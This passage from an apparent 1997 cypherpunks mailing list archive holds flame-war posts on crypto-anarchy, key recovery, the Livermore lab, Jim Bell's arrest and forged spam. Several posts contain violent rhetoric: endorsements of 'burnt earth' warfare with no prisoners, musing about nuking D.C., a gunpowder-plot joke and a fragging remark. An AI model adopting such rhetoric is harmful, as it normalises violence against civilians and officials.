National Computer Security Association (Carlisle, PA) http://www.ncsa.com

  [Turn on the fire-hider-ants; someone is in for a shock.  PGN]

------------------------------

End of RISKS-FORUM Digest 19.17 
************************






From frantz at netcom.com  Wed May 21 21:22:32 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 22 May 1997 12:22:32 +0800
Subject: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: 


At 6:41 PM -0700 5/21/97, Kent Crispin wrote:
>On Wed, May 21, 1997 at 11:41:08AM -0800, Tim May wrote:
>> There are perfectlylogical game-theoretic reasons why the Washington
>> bureaucracy has gotten so large, why every one of the 500+ Congresscritters
>> has a staff of dozens working for him or her, why each of the dozen or so
>> major Cabinet departments has dozens of buildings and thousands (even
>> millions, as with DoD) of worker bees, why each entity in government seeks
>> constantly to expand its scope and powers, and why the number of rules,
>> regulations, laws, emergency orders, and edicts expands inexorably every
>> day.
>
>I don't think this problem can be "fixed" in any meaningful way.  You
>just argued that the problem is a consequence of "perfectly logical
>game-theoretic reasons".

I expect Kent is right.  Fixing the problem is a bit like closing tax
loopholes, as soon as you close the ones people are using, a lot of very
smart, motivated people start looking for new ones.  In the case of
personal power, the same thing happens.  You have a revolution (peaceful*
or otherwise) and the power relationships get stirred up and there is
enough looseness in the system so people can breath freely.  Then the power
hungry start learning how to work the new system and the looseness goes
away and you are back, more or less where you started.  I think Thomas
Jefferson said something about this.

* Peaceful revolutions since 1950 in the USA: (1) Civil Rights/Vietnam war
- Civil disobedience and reasoned argument changed the moral compass of the
nation over the opposition of the bureaucracy, congress, and the president.
(2) Repeal of the federal 55 MPH speed limit.  Massive law breaking caused
the politicians to support an issue over the massed opposition of the
bureaucrats and beltway bandits.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From whgiii at amaranth.com  Wed May 21 21:22:34 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Thu, 22 May 1997 12:22:34 +0800
Subject: Cypherpunk criminalization
In-Reply-To: 
Message-ID: <199705220417.XAA08066@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/21/97 
   at 09:16 PM, Tim May  said:

>(My spies within LLL tell me of desperate efforts to find alternative
>funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
>government lab which loses its main raison d'etre cannot reconfigure
>itself as a "think tank" for private industry. Gimme a break.)


"think" and "government" should never be used in the same paragraph. I was
laughing so hard at the prospects of government drones trying to compete
in the private sector I pulled a muscle.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4PXCI9Co1n+aLhhAQHZSwP+KyBe6YBoJya4QIAq+1wXLwnQ6z93hpT8
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4H4Ivw87pKg=
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From tcmay at got.net  Wed May 21 21:51:08 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 12:51:08 +0800
Subject: Nuking the Weapons Labs
In-Reply-To: 
Message-ID: 


At 8:07 PM -0800 5/21/97, Willaim H. Geiger III wrote:

>In , on 05/21/97
>   at 09:16 PM, Tim May  said:
>
>>(My spies within LLL tell me of desperate efforts to find alternative
>>funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
>>government lab which loses its main raison d'etre cannot reconfigure
>>itself as a "think tank" for private industry. Gimme a break.)
>
>
>"think" and "government" should never be used in the same paragraph. I was
>laughing so hard at the prospects of government drones trying to compete
>in the private sector I pulled a muscle.

Believe it. I suspect the "we can help you" program Kent Crispin is working
on (some form of key recovery) is just such a program. When we hire people
to design and build H-bombs and they instead collect their paychecks by
working on "key recovery" schemes for Big Brother, something is drastically
amiss.

(I'm surprised no whistle-blowing journalists are picking up on this story.)

Lowell Wood's O-Group (or W-Group...I don't have my papers handy) tried
this some years back, as did the "laser pantography" group. Laser
pantography was one of those technologies the trendy science magazines,
like "Science '86" and "High Technology" once gushed over as being
TEOSVASWKI (The End Of Silicon Valley As We Know It). Not very
surprisingly, laser pantography is nowhere to be seen.

And there was the attempted commercialization of LLL's (alleged) CAD tools.
Silvar-Lisco was the name I recall from those days, c. 1984-86, though I
may be confusing it with another of the late-lamented CAD companies.

And the S-1 supercomputer project, using all of the above-named G-job
technologies.

None of these "commercialization" efforts went anywhere, nor was it ever
appropriate for taxpayer-funded labs to enter into competition with
privately-funded enterprises like Cadence, Daisy, Cray, etc.

To be sure, LLL and LANL do pretty nice jobs of making hydrogen bombs. Now
that H-bombs are passe, "remediation" is one way they're seeking contracts
to survive. (Remediation of nuclear waste and existing weapons.)

And things like the Extreme UV project. Look for an announcement soon.

Hey, it's seemingly a good idea for these national labs, paid for by the
taxpayers, to "do work for industry." However, a moment's thought will
point out the problems implicit in such deals: if they do the Extreme UV
work for Intel, say, what about TI and Motorola?.

And an even better thing to tell them is this:

"You did your work well. The Cold War is over. No job lasts forever, not in
Detroit, not in Seattle, and not in Livermore. Thank you, and good luck in
the private sector. Your work here is done."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From col1 at mary-world.com  Thu May 22 13:04:46 1997
From: col1 at mary-world.com (col1 at mary-world.com)
Date: Thu, 22 May 1997 13:04:46 -0700 (PDT)
Subject: Finally!
Message-ID: <56748690345col1@mary-world.com>


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From kent at songbird.com  Wed May 21 23:00:10 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 14:00:10 +0800
Subject: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <19970521224401.50679@bywater.songbird.com>


On Wed, May 21, 1997 at 06:39:39PM +0100, Adam Back wrote:
> 
> Bill Stewart  writes:
> > At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> > >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> > 	[rant deleted - bill]
> > >Speaking of power corrupting, notice how the power to speak 
> > >anonymously has destroyed this poor souls brain.
> 
[...]
> 
> In short I believe you picked on the wrong guy if you considered
> Attila an example of someone with lots to say when hiding behind
> strong anonymity.
> 
> Adam

I should have posted my comment anonymously, obviously.  I appologize 
to Mr Hun and the world for my mistake.  I must have confused him 
with one of the TMs.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Wed May 21 23:26:32 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 14:26:32 +0800
Subject: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <19970521231024.42348@bywater.songbird.com>


On Wed, May 21, 1997 at 07:16:03PM -0800, Tim May wrote:
> At 5:41 PM -0800 5/21/97, Kent Crispin wrote:
> 
> >I don't think this problem can be "fixed" in any meaningful way.  You
> >just argued that the problem is a consequence of "perfectly logical
> >game-theoretic reasons".  There is nothing in the crypto-anarchy
> 
> Game-theoretic reasons depends on the rules of the game. 

The game of personal power isn't going to change.

[...]

> But more rules need to change. Many of us (most of us?) expect strong
> crypto to be a catalyst for some major changes. You, Kent, obviously
> disagree,

Yep.  I disagree.

> and push for more government involvement to shore up the existing
> rules.

False.  How *do* you come up with these?

> You are not evil, as per my point, but your kind will be swept aside,
> possibly violently but probably through a shut-down of the Livermore Labs.
> 
> (My spies within LLL tell me of desperate efforts to find alternative
> funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
> government lab which loses its main raison d'etre cannot reconfigure itself
> as a "think tank" for private industry. Gimme a break.)

Well, your spies aren't doing a very good job.  The new buzzword is 
"stockpile stewardship" -- and in the face of a comprehensive test ban 
treaty, there is no way to be sure that things will go off when you 
want them to.  So the importance of computer simulations has grown, 
and lots of money is being put into that.  These new teraflop 
machines cost lots, and need lots of infrastructure -- the one on tap 
in the 3 year timeframe, I hear, requires over 10 megawatts of 
electricity (that includes the cooling).

Still, computers are probably cheaper than physical tests...but I'm a 
computer scientist, and not a physicist...

[...]

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From attila at primenet.com  Wed May 21 23:30:31 1997
From: attila at primenet.com (Attila T. Hun)
Date: Thu, 22 May 1997 14:30:31 +0800
Subject: YUP:  Re: Wine Politics Again!
In-Reply-To: 
Message-ID: <199705220618.AAA01842@infowest.com>


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970521:0304 dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+ writes:

+> On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
+> [...]
+> >    as for the great fairweather liberal bigot Blanc's passing it off
+> >    as tcm's drunken ramblings, I doubt it.  war is hell, and
+> >    "innocents" get wasted --but, a society at war has no innocents.
+> >    blow 'em all away.  scorched earth is inadequate; burnt earth is
+> >    more effective. if there are no prisoners, there are no
+> >    complainers.
+>
+> Speaking of power corrupting, notice how the power to speak
+> anonymously has destroyed this poor souls brain.

+Fuck you, Kent.
    __________<

    thanx, Dimitri, I could not have replied more eloquently myself.

        and, I never had complainers after burnt earth actions. Kent
    is obviously jealous and angry he was not along for the ride 30+
    years ago.

    actually, I did abhor the policy sufficiently to resign a 
    commission w/o benefits and to suffer their standard means of
    discredit.

    I guess Kent is still wet behind the ears, no use wasting the time
    to clue him in on Hr. Doktor Professor.... 

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM4Pkzr04kQrCC2kFAQGcSgQAkNbtWEW2jrimgWx0Ql8BaBb6fasRO8Qj
hrdNv5yz29Mmgy08KIvsYtT+ijRFm7b58qQQl+AFJQp37AM5FnDkvacvX4c5UUdc
s1MCuvZ/Xqw4tLOOG+BY2J2FboULBpDUWBbhP2ppRcpFRVC6WzwqX8oLcNPo3deR
w/aK8bcQbI8=
=cVp1
-----END PGP SIGNATURE-----







From tcmay at got.net  Wed May 21 23:45:08 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 14:45:08 +0800
Subject: Huns 1, Romans 0
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: 


At 9:44 PM -0800 5/21/97, one of the KCs wrote:

>I should have posted my comment anonymously, obviously.  I appologize
>to Mr Hun and the world for my mistake.  I must have confused him
>with one of the TMs.

One of the TMs? How could you mistake Attila for me?


--TM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Thu May 22 00:00:13 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 15:00:13 +0800
Subject: Nuking the Weapons Labs
In-Reply-To: 
Message-ID: <19970521232341.43800@bywater.songbird.com>


On Wed, May 21, 1997 at 09:39:57PM -0800, Tim May wrote:
> At 8:07 PM -0800 5/21/97, Willaim H. Geiger III wrote:
[...]
> >"think" and "government" should never be used in the same paragraph. I was
> >laughing so hard at the prospects of government drones trying to compete
> >in the private sector I pulled a muscle.
> 
> Believe it. I suspect the "we can help you" program Kent Crispin is working
> on (some form of key recovery) is just such a program.

Nope.

[...]

> None of these "commercialization" efforts went anywhere, nor was it ever
> appropriate for taxpayer-funded labs to enter into competition with
> privately-funded enterprises like Cadence, Daisy, Cray, etc.
> 
> To be sure, LLL and LANL do pretty nice jobs of making hydrogen bombs. Now
> that H-bombs are passe, "remediation" is one way they're seeking contracts
> to survive. (Remediation of nuclear waste and existing weapons.)
> 
> And things like the Extreme UV project. Look for an announcement soon.

As I said in a previous post, your spies aren't serving you well.  
However, it is just as well that you remain poorly informed.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From blancw at cnw.com  Thu May 22 00:20:22 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 22 May 1997 15:20:22 +0800
Subject: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522000739.00709ce0@cnw.com>


Attila T. Hun wrote:

>    as for the great fairweather liberal bigot Blanc's passing it off 
>    as tcm's drunken ramblings, I doubt it.  war is hell, and 
>    "innocents" get wasted --but, a society at war has no innocents.  
>    blow 'em all away.  scorched earth is inadequate; burnt earth is 
>    more effective. if there are no prisoners, there are no 
>    complainers.
...............................................................


If we were out in the field, you'd get fragged for calling me that.  

If this society is at war, it is a Civil War, fighting against itself.   In
fact, there are many groups fighting against each other, on many different
levels:  racial, gender-based, religious, economic, philosophical, not to
leave out political.    Companies are fighting each other "tooth & nail"
for survival in marketing turfs, races are still exchanging vicious barbs,
homosexuals are under verbal & physical attack by the socially "normed",
the poor still envy & disparage the rich, women & children seem more than
ever to be at risk to attacks from roving sex perverts, the liberals would
love to put the libertarians under, religious groups lecture against the
moral depravity of all those "other" people, and half the country is either
stocking up for a National Disaster or forming into militia groups or other
Think Tanks to fight some sort of government encroachment (even the health
food stores where I shop are always posting sign-up sheets to vote against
something or another the government wants to ban or some right-of-choice
that is being threatened by proposed legislation).  

There are little battles raging on all around us, not only the fight for
privacy-by-encryption which you all are aware of.   Some cpunks have stated
that "society doesn't know or care what is happening".   Some of youall
don't know the kinds of battles or other people/groups are having, either
with government or with some opposing members of this same society.   There
is a lot of information out in the world competing for attention and
resources - on the net, on the intranet, in the TV, in the newspapers, in
magazines, in major newsletters, local newspapers, in posting on kiosks
("Get the US out of Nicaragua! " (sure, when I have a few free minutes and
a couple of extra bucks")).  

How can one keep up with/contribute to all of these?    So many times, I
will happen to read accounts of people who have got into trouble of some
kind, or down on their luck (they lost their job and don't have skills,
they need a heart transplant, they got jailed by mistake, the car
dealership gave them a bum deal), and they decide that society  doesn't
really know what is happening and complain that it is unsympathetic and
lament "when will society wake up and realize that something needs to be
done", etc..   Well, jeez, there's only so much time to spend on everybody
else's problems. 

All these people with their problems would like everyone one else to be
aware of their plight and sympathetic to their rights and to contribute to
their cause, and get disturbed about being "marginalized".  As far as I'm
concerned, everyone is "marginalized".   But people are behaving as
expected:   the Waco religious group acted as expected, the BATF acted as
expected; government employees behave as expected.   The cpunks, who know
so much about government, in particular the NSA & certain luminaries
related to privacy&encryption, should expect that things will go on as they
do - even if they bomb D.C. out of existence.   And this is because,
apparently,  people of this type & kind simply haven't evolved enough to
expect anything different.

Now, crypto was supposed to allow for the possibility of not having to deal
with these people directly;  it was supposed to usher in the new
technological era whereby one could "route around" and generally avoid
messing with Government Mongers, from negotiating for the right to breathe
on one's own Maintenance Schedule.   

Well, so much for an anarchic life of Independent Means.  I must say, from
the posts I've been reading these past several days, I haven't seen very
imaginative ideas for dealing with the problems which dull governments
create.   It is typical of dull governments that when pressed to the wall
they resort to desperate, mediocre ways of dealing with problems - like
obfuscation, exaggerated charges of evil intent, physical violence; all
signs of a limited intellectual capacity for coming to terms with the facts
of reality  (the problems they face as Protectors of Goodness & Justice
(tm) ).   

I would have expected newer, more creative ("evolved") ideas from
scientists, mathematicians, physicists, computer-savvy members.   

    ..
Blanc
    ..
Blanc






From kent at songbird.com  Thu May 22 01:00:22 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 16:00:22 +0800
Subject: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <199705212141.OAA14578@fat.doobie.com>
Message-ID: <19970521233436.44929@bywater.songbird.com>


On Wed, May 21, 1997 at 02:41:57PM -0700, Huge Cajones Remailer wrote:
[...]
> 
>   I don't have a problem with the opinions or points of view that
> Kent expresses on the cypherpunks list, but I do have a problem
> with the fact that his posts seem to reflect a pre-programmed
> world-view, with little thought given to the actual content and
> concepts expressed by those he is replying to.
>   I find Kent's posts to be much like the ASCII art that is posted
> to the list--each post is slightly different, but predictable. The
> aspersions that Kent casts on those such as Attila and Tim serve
> no purpose other than to accentuate the fact that he is envious
> of their propensity for dealing on a real-world level with the
> concepts he addresses from an intellectual ivory tower.
> 
[...]
>    Kent's posts reflect, in my opinion, what he has "learned to
> believe." When I read Kent's posts, I don't feel like I learn
> who he is, but rather, I learn the "position" that he is taking
> on this or that point.
>    Real name/anonymity aside, I see Attila as real and Kent as a
> shadowy figure. My advice to Kent would be, "If you're going to
> be an asshole, at least be a _real_ asshole."

[...] 

>   Once we form an "opinion" of _who_ somebody is and _what_they_
> believe_, and _who_they_are_, then we "interpret" what they
> have to say in their posts in accordance with our learned
> perception of them.

Boy, ain't that the truth.  Witness what you wrote above.

> I am:
> TruthMonger # -96

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From ghio at temp0083.myriad.ml.org  Thu May 22 01:23:21 1997
From: ghio at temp0083.myriad.ml.org (Matthew Ghio)
Date: Thu, 22 May 1997 16:23:21 +0800
Subject: Hey, what does this mean?
In-Reply-To: 
Message-ID: <199705220903.FAA13788@myriad.alias.net>


> Anybody know what this means?
> 

It means that Tim May still has a sense of humor. :)






From stewarts at ix.netcom.com  Thu May 22 01:43:37 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 22 May 1997 16:43:37 +0800
Subject: Hey, what does this mean?
In-Reply-To: 
Message-ID: <3.0.1.32.19970522012455.00745ae8@popd.ix.netcom.com>


At 08:45 PM 5/21/97 -0400, Rabid Wombat wrote:
>Didn't a member of congress describe, in session, in detail, how to make a
>bomb, quoting instructions found on the Internet? Wouldn't this make
>possesion of the Congressional Record a felony? Anybody able to cite this
>reference? 

>On Wed, 21 May 1997, Ryan Anderson wrote:
>> Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?

Step back a sec, folks, Tim's article _was_ satire... (at least for now.)

On the other hand, a number of Senators have emailed me about the CDA and
instructions for making bombs and blowing up government buildings
(Amazing what you can get an auto-responder to do! :-)  Some of them
truncated their replies to 80 characters, and the House's email responder
was far more boring.  

Remember - November 5th, barrels of gunpowder in the basement,
and don't get caught this time!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tm at dev.null  Thu May 22 02:46:15 1997
From: tm at dev.null (TruthMonger)
Date: Thu, 22 May 1997 17:46:15 +0800
Subject: The Natives Are Getting Restless
Message-ID: <199705220919.DAA15574@wombat.sk.sympatico.ca>


Blanc wrote:

> If this society is at war, it is a Civil War, fighting against itself.   In
> fact, there are many groups fighting against each other, on many different
> levels:  racial, gender-based, religious, economic, philosophical, not to
> leave out political.    Companies are fighting each other "tooth & nail"
> for survival in marketing turfs, races are still exchanging vicious barbs,
> homosexuals are under verbal & physical attack by the socially "normed",
> the poor still envy & disparage the rich, women & children seem more than
> ever to be at risk to attacks from roving sex perverts, the liberals would
> love to put the libertarians under, religious groups lecture against the
> moral depravity of all those "other" people, and half the country is either
> stocking up for a National Disaster or forming into militia groups or other
> Think Tanks to fight some sort of government encroachment (even the health
> food stores where I shop are always posting sign-up sheets to vote against
> something or another the government wants to ban or some right-of-choice
> that is being threatened by proposed legislation).

 Second only to Miss Piggy among deep thinkers, Mrs.
Wiggs, the one with the cabbage patch, said this: "In the
mud and scum of things ... Something always always
sings."

  I am grateful that there is at least one female on the list who
is capable of stepping into the middle of the "Dick Wars" on the
list and reminding the men that the "targets" they talk about have 
names, faces, and children.
  I am aware that there is a human cost inherent in every conflict,
and I accept that it will always be so, but I cannot accept the
idea that one can leave their conscience clear by "criminalizing"
their target and discounting their target's humanity.
  I am an anarchist and a realist. If I had a button that would
nuke D.C., I might well push it--but I am also a thinking, feeling
human, and I would cry a river of tears, as well. When I estimate
a "body count", I never fail to count the children.

  Blanc's aim is true when she speaks of the growth of reactionary
posts to the list which fail to include a foundation of creative
thought. 
  Anyone can return fire when attacked and turn the situation into
a firefight where a random volley of ammo decides the outcome of
the battle. However, a good squad leader already has his defences
in place to deal rationally with situations that can easily be
forseen before they arise.
  When "they" come for your neighbor today, will you be surprised
when they come for _you_ tomorrow? When I first heard of Jim Bell's
arrest I began composing a reply to Hallam-Baker's coming post. It
may be vocal and emotionally charged, but it is not done solely
out of blind reactionism.

  God bless Blanc.

TruthMonger -96






From tm96 at dev.null  Thu May 22 03:25:56 1997
From: tm96 at dev.null (TruthMonger #-96)
Date: Thu, 22 May 1997 18:25:56 +0800
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <199705221000.EAA16124@wombat.sk.sympatico.ca>


Hallam-Baker, whose posts always seem to read as if they were
written by a government disinformant, wrote:

> Alan Olsen wrote:
> > I think that the Government is trying to make an example of Mr. Bell.  I
> > think that much of the charges reported in the news are false.

> I would not depend on Bell to any extent in any circumstance to
> be reliable.

  That's right. We should not support "wrong" people. So first H-B
needs to demean Jim Bell personally.

> > 3) The suspected crimes list keeps changing.  How many times has the
> > "official" story changed?  Each time it gets more and more lurid.
> 
> Expanding is the word. Put someone under a microscope and you
> are liable to find out quite a bit about them.

  And we should not support "bad" people, so H-B also needs to
criminalize Jim Bell by vague innuendo.

> Bell is not the kind of loon to stick one's neck out for.

  Why risk your own neck supporting a loon?

> It may
> well be that he did not explicitly advocate murder but he danced
> awfully close to that line. 

  Sure, maybe he didn't actually commit a crime, but he pushed
the envelope, so he made his own troubles.
  
> Before charging to the rescue its a good idea to make sure
> that you are rescuing the right person. 

  It's best to do nothing, because it's not you. It's a loon.
It's someone who probably did something illegal, even if it
wasn't what he was charged with (because we're all guilty of
something).
  So now H-B has given the individual cypherpunks "reasons"
not to support Jim Bell, or to protest his persecution.

  So what if Jim Bell is a cypherpunk to the core? So what if
he is being prosecuted for speaking of things that many of us
have spoken about and debated on the list?
  There are sounds of gunfire coming from our neighbor's house.
Let's just close the window and hope that the trouble doesn't
come our way.

TruthMonger #-96






From nobody at huge.cajones.com  Thu May 22 04:00:52 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 19:00:52 +0800
Subject: Key Recovery / The True Story
Message-ID: <199705221040.DAA09748@fat.doobie.com>


  When Key Recovery and Key Escrow schemes become a fact of life, there
will be abuse and fraud of the nature that some on the cypherpunks list
have expressed concern about.
  The grandmother who is arrested for plugging a parking meter will have
her computer confiscated so the authorities can search for evidence that
her plugging of the meter was pre-planned. Some $20,000/year clerk is
going to dip into someone else's funds to support their drug habit. And
some government spook is going to break into a church's computer to find
out if they are secret terrorists because they oppose this or that
government policy.
  The fact of the matter is, the government is perfectly happy with the
citizens' vocal opposition to these possibilities because it provides a
convenient smokescreen for the greater import of Key Escrow. They will
occasionally pop a Jim Bell, or a "pornographer" to justify their "need"
for Key Escrow, but they will let nature take its course until their
capacity to monitor everyone, everywhere, all the time, is an accepted
fact of life.

  The real reasons for the push for Key Recovery and Key Escrow are
centered on global concerns.
  World power is acquired and maintained by acquiring and manipulating
information and opinion. Countries and companies are helped to rise and
fall from prominence. One is supported, another is sabotaged. One
politician has his sins covered and another has them exposed.
  The rich and the powerful have always ruled, no matter what form the
government of the day takes. It has always been so.

  When the government disinformation specialists incite the citizens to
fight over pennies, it is to distract them while the rulers steal their
dollars. The chaos of the citizen is the friend of the government, so
they work to promote a chaos that will meet their needs.
  They allow us to have our Saviors, but if our J.F.K.'s and our Martin
Luther Kings get too powerful, then they are removed. The allow us to
have our victories, but there is always a 'rider' attached that takes
away yet another of our rights and freedoms.
  While we fight battles, the government fights wars.

  Anyone who believes that the attack on Jim Bell is not aimed at the
CypherPunks is a fool.
  While we fight battles, the government fights wars.

TruthMonger






From mark at unicorn.com  Thu May 22 04:46:15 1997
From: mark at unicorn.com (Mark Grant)
Date: Thu, 22 May 1997 19:46:15 +0800
Subject: Spam IS Free Speech
Message-ID: 



> Spam is interfering with the *real* victim's (the sendmail operator's) 
> ability to provide customer service; in a very real and fiscally 
> damaging way. 

It's worse than that; some asshole has just sent out a spam with a forged
return address at $$$$@unicorn.com. There is absolutely nothing I can do
to stop people sending such forgeries, yet my mailbox is about to explode
with megabytes of complaints and mailbombs. I hate to think what kind of
mess I'll have to deal with when I get back from my holiday next week. 

Anyone know how to track down the owner of 1-800-322-6169 EXT 2561, the
only contact information in the spam? I'm not in the US so I can't call
them to complain. Is there any way I and the spammees could take legal
action against them without spending vast amounts of money?

	Mark

P.S. Privtool 0.90 is just out at utopia.hacktic.nl; I'll send a proper
announcement soon. Privtool is a PGP-aware mail program for X-windows, see
details at http://www.unicorn.com/privtool/privtool.html.







From dlv at bwalk.dm.com  Thu May 22 05:17:23 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 22 May 1997 20:17:23 +0800
Subject: Hey, what does this mean?
In-Reply-To: <199705220903.FAA13788@myriad.alias.net>
Message-ID: <6Zq47D4w165w@bwalk.dm.com>


ghio at temp0083.myriad.ml.org (Matthew Ghio) writes:

> > Anybody know what this means?
> >
>
> It means that Tim May still has a sense of humor. :)
>
That's good.  I would never guess from his list traffic.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Thu May 22 05:38:59 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Thu, 22 May 1997 20:38:59 +0800
Subject: Spam IS Free Speech
In-Reply-To: 
Message-ID: <199705221224.HAA12708@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on
05/22/97 
   at 05:27 AM, Mark Grant  said:


>> Spam is interfering with the *real* victim's (the sendmail operator's) 
>> ability to provide customer service; in a very real and fiscally 
>> damaging way. 

>It's worse than that; some asshole has just sent out a spam with a forged
>return address at $$$$@unicorn.com. There is absolutely nothing I can do
>to stop people sending such forgeries, yet my mailbox is about to explode
>with megabytes of complaints and mailbombs. I hate to think what kind of
>mess I'll have to deal with when I get back from my holiday next week. 

>Anyone know how to track down the owner of 1-800-322-6169 EXT 2561, the
>only contact information in the spam? I'm not in the US so I can't call
>them to complain. Is there any way I and the spammees could take legal
>action against them without spending vast amounts of money?

>	Mark

>P.S. Privtool 0.90 is just out at utopia.hacktic.nl; I'll send a proper
>announcement soon. Privtool is a PGP-aware mail program for X-windows,
>see details at http://www.unicorn.com/privtool/privtool.html.


Well this seems to be some MLM scam, get rich quick scheme. The number
dumps you into a prerecorded voice message for the Global Prosparity Group
(I doubt that it is a registered name). You may be able to get more
information calling 1-618-692-3972. It seems to be a number for the
company that owns the 1-800 number and manages the mailboxes for the other
companies.

I don't know what action if any you could do against this scumbag that
would be worth the expence. I would contact whoever he is using as a mail
gateway for his crap and see what if anything they are willing to do about
this.

Hope this helps,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

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Version: 2.6.2

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QmbNzlGeMW7DEtJzEvA7b+6EoLrPje0s0sHAG6Bo9zZkrgKqS80VK+2NQlqu/e9N
JB28rA2GD8BY8iDkj9PKLTqRKiI1Pi6OtrZEs3WifNsZy5nD6ARqD5hXFx5tHUJT
OSHEo+5vmtA=
=LSGM
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From lucifer at dhp.com  Thu May 22 05:44:25 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 22 May 1997 20:44:25 +0800
Subject: "You have the right to remain silent"
Message-ID: <199705221229.IAA20553@dhp.com>


Tim May wrote:

> The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
> is made of the fact that the Ramseys, not being under arrest, are not
> required to *say anything* to the police. (Left unanswered is why innocent
> parents whose daughter has been brutally murdered would choose to say
> nothing to the police...even I, a skeptic about much that modern cops are
> involved in, am suspicious of the Ramseys for their noncooperativeness.)

  The noncooperation of the Ramseys does not reflect on their guilt or
innocence, but on the fact that they have an excellent lawyer. People
who have average lawyers, or even good ones, have a much greater chance
of being convicted of a crime that they did not commit.
  When the police interview you, they have information or evidence that
